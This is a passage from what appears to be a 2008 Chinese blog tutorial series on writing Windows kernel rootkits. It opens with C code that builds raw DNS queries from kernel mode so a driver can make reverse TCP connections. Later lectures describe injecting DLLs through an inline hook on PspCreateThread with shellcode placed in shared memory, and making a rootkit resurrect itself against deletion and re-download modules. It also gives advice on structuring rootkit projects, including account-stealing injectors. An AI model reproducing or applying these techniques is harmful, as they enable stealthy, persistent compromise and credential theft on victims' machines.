hostent->h_name = hostent_content;
hostent_array = (char**)(hostent_content + taille_string_requete+1);//ASCIIZ
hostent_content += taille_string_requete+ 1 + (NTOHS(dns->ans_count) + 1)*4;
if (!rdns)
{
hostent->h_aliases = NULL;
hostent->h_addrtype = AF_INET;
hostent->h_length = 4;
hostent->h_addr_list = (unsigned int**)hostent_array;
}
else
hostent->h_aliases = (char**)hostent_array;
res_record_crawler = (char *) dns+taille_buffer_dns;
for (compteur_reponses = 0; compteur_reponses < NTOHS(dns->ans_count);compteur_reponses++)
{
res_record = (CUSTOM_RES_RECORD*) res_record_crawler;
if (!rdns)
{
if (NTOHS(res_record->type) == 1)
{
adresse_ip = (unsigned int*) (res_record->rdata);
*hostent_array++ = hostent_content;
RtlCopyMemory( hostent_content,
res_record->rdata,
4);
hostent_content += 4;
}
}
else
{
if (NTOHS(res_record->type) == 12)
{
*hostent_array++ = hostent_content;
taille_string_requete_format_dns = ChangefromDnsNameFormat( hostent_content,
res_record->rdata,
FALSE);
hostent_content += taille_string_requete_format_dns+1;
}
}
res_record_crawler += sizeof(CUSTOM_RES_RECORD)+NTOHS(res_record->data_len)-2;
}
}
free (buf);
return 0;
}
char* build_dns_query ( IN char* nom_a_resoudre,
OUT int* taille_buffer_dns,
IN BOOL rdns)
{
unsigned char * buf = NULL;
DNS_HEADER * dns = NULL;
unsigned char * qname = NULL;
int taille_string_requete_format_dns = 0;
QUESTION * qinfo = NULL;
buf = malloc_np (2048);
if (buf == NULL)
{
errno = WSA_NOT_ENOUGH_MEMORY;
return NULL;
}
RtlZeroMemory(buf,2048);
//1 Construction du message DNS
//buffer : DNS_HEADER | nom modifi?| QUESTION
dns=(DNS_HEADER*)buf;
dns->id = 1234;
//Flags DNS
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = HTONS(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;
qname =(unsigned char*)&buf[sizeof(DNS_HEADER)];
taille_string_requete_format_dns = ChangetoDnsNameFormat( qname,
nom_a_resoudre,
rdns);
//Infos DNS
qinfo =(QUESTION*)&buf[sizeof(DNS_HEADER) + taille_string_requete_format_dns];
if (rdns)
qinfo->qtype = HTONS(12); //reverse DNS : adresse -> nom
else
qinfo->qtype = HTONS(1); //DNS : nom -> adresse
qinfo->qclass = HTONS(1);
*taille_buffer_dns = sizeof(DNS_HEADER) + taille_string_requete_format_dns + sizeof(QUESTION);
return buf;
}
至此我们获得了服务器解析~
然后我们就可以顺利的使用TCP反弹了~
本文完整的代码连接:可恶的俄国+荷兰式注释的代码:http://www.debugman.com/read.php?tid=1954
白菜普及课第八讲 DLL又见DLL
2008-09-09 12:44白菜 = rootkit
rootkit = 白菜
DLL插入是个很火的东西~
我以前说过利用ZwXXXX拦截AppInit_DLLs读取法插入DLL,今天再说几个更邪恶,更发指的~
先说个简单吧,在ring0下用APC插入DLL~~可以看sudami逆向的fucksys
接着说个邪恶的,利用inline hook keXXCallbackXX,对DLL的XX功能号过滤,发现是加载某DLL的都替换成自己的DLL的路径~~
再说个更淫荡的,在白菜驱动里利用那个knowndlls\\XX.dll的section做hotpatch插入DLL
接着再说个,shim engine的section loader法~
再接着来,imageloadnotifyroutine做patch的loaddll
然后还有,经典的CreateSectionXX Hook里patch的loaddll
不过我今天谈论的不是这些,是更邪恶,更暴力,更YD的~
我把他叫做new thread法~就是做个inline hook PspCreateThread~
每次检查一下StartRoutine,如果startRoutine在应用层且进程是我们要XX的而且我们之前没有做插入,则开始XX
DWORD sharedUsr = 0×7ffe0800;
DWORD sharedKrn = 0xffdf0800;
将StartRoutine设置成sharedUsr
*((PDWORD)(shell_code+jmp_offset))=startRoutine;startRoutine = (PVOID)sharedUsr;
RtlCopyMemory((PVOID)sharedKrn,(PVOID)shell_code,sizeof(shell_code));
然后设置上正在进行插入就行了~,假设loadimagenotify收到我们的dll加载,则不再做这个操作,
否则定时器到时立刻设置插入未进行状态,继续插入~~
白菜普及课第九讲 WS的白菜复活技术
2008-09-09 13:15白菜 = rootkit
rootkit = 白菜
本来打算第九讲说一下破坏的,但是考虑到破坏这玩意不流行了,不XX了~
我们回过头来说复活吧。这里的白菜复活不涉及抗格式化技术或者其他chipes kit技术,仅以单纯的思想来思考复活。一般的复活有文件复活,注册表复活
我 们来说下文件复活吧,首先要抗直接写注册表的renampending删除,就是注册个CmCallback每次注册表写renamepending都去 检查一旦有自己在里面,立刻把内存备份的文件写入磁盘并起个新的名字,然后写入新的注册项,并保护好这些东西 ~然后要抗Disk level删除,文件已经被删除了,我们隐藏+保护都失败了–没事我们有定时检查啊,自己调用一套方式检查自己的文件是否还在,如果没了,立刻把内存备份 写入以新的名字存入,并写新的启动项,然后保护起来~~好了这就基本上做到了复活术了。
真正要做好复活术是不容易的,还需要结合多种东西,比如ring3级重新安装的dll,比如一些xx文件替换(如userinit.exe替换,但是驱动做重定向保护,使得多数软件检查不成功)…
最后提一下,obj干涉式重定向技术解决了一个很XX的问题,就是一般性的文件复活问题。除了自己写pending外基本没啥害怕的~~如果不遇到磁盘XX的XX话~~
注册表,在线删除只要保护做的好,XX工作做的好,基本上就是离线是个问题。
离线删除注册表一般都是删除完事直接重启,不给机会复活,所以ring3的文件感染可能很不错(感染后的shellcode负责重新下载安装模块~~)~~呵呵
白菜普及课第十讲 要实用!
2008-09-09 13:25白菜 = rootkit
rootkit = 白菜
正式开始写~
第十讲是白菜普及系列的最后一讲,这一讲,我们主要说说可以投入使用的实用白菜是怎么弄。
第一你要写个白菜的框架 rkmain.c文件和它的头文件rkmain.h
rkmain.c中只有DriverEntry实现和各类初始化调用,什么reload的使用都是在这里,rkmain.h中是符号名字之类的东西~
还有ioctrl.c和ioctrl.h,这里控制所有的交互,包括create,close,read,write,devio等~,调用其他接口做其他工作,ioctrl.h中定义了ioctrlcode等交互用物品。
再有各个模块比如用于做Hook的就叫HookLib.c和HookLib.h,接口定义好,反汇编引擎叫disasm.h和disasm.c,汇编引擎叫libasm.c和libasm.h,每个模块的功能和文件名字一定要对好~
进程隐藏的模块叫ProcHide.c和ProHide.h。。诸如此类
方便维护和更新,同时跟你一起搞白菜的人看的也舒服~~
第二是注释和测试信息的输出,我的建议是每一个函数写个说明,功能是什么,参数都是啥意义,举个用的方法,然后在简单说下更新日期和作者们都是谁。每一个if检查的地方都最好做一个DbgPrint输出~
这样子白菜的维护性更高,更方便团队式白菜开发~
第三是 尽量先理清白菜的思路,就是白菜要做什么,这些事情是不是有交叉重复的点,该有那些hook
是必要的,那些是不必要的,是否怎么怎么样之类的,写下来,作为develop note来看,以后可以开发陷入误区死角的时候看看很有帮助~
第 四是 白菜在开发开始的时候也有两个note,一个是develop note一个是debug note,Develop note是说做了什么,目的是什么,要怎样;debug note是指测试的结果,遇到的问题,如果如何解决的等等~白菜在开发过程中要多测试,其实一口气写完白菜,一定蓝的很精彩,很绚丽,所以一定多测试,每 一个功能完成后要测试再测试,验证稳定性后再进行下一个开发,否则到头来会因为大量的问题导致白菜失败。
第五不要追求最新最潮流的技术,最新最潮流 == 蓝屏王
好 了,现在我们回来说说白菜设计吧,白菜分成几种,一种是隐藏为主XX为辅的(如Fu,Futo,Hxdef等),一种以保护和隐藏为一切(如 3721,8848,9991,piaoxue,my123),再一种以XX为主保护为辅(AFXRootkit之类的),再一种是纯show技术的(如 bluepill之类的),再有一些是专门以插入为主的(如onlinegame盗号系列)…各种各样,有的没有hook,有的很多hook–从一般性上 说可以把白菜分成无hook和有hook两种~~
主要看目的,我就举个例子,比如以最近比较火的白菜们为例都是以插入辅助盗号为主要方式,其不需要hook直接用Notify+APC法就行。但是你非要保护自己,比如做BackDoor的工作,那你要hook了,还要保护hook,还要保护自己,另外还要尽量避免被杀…
当然如果目的就是做个大集合出来,那么随便吧~~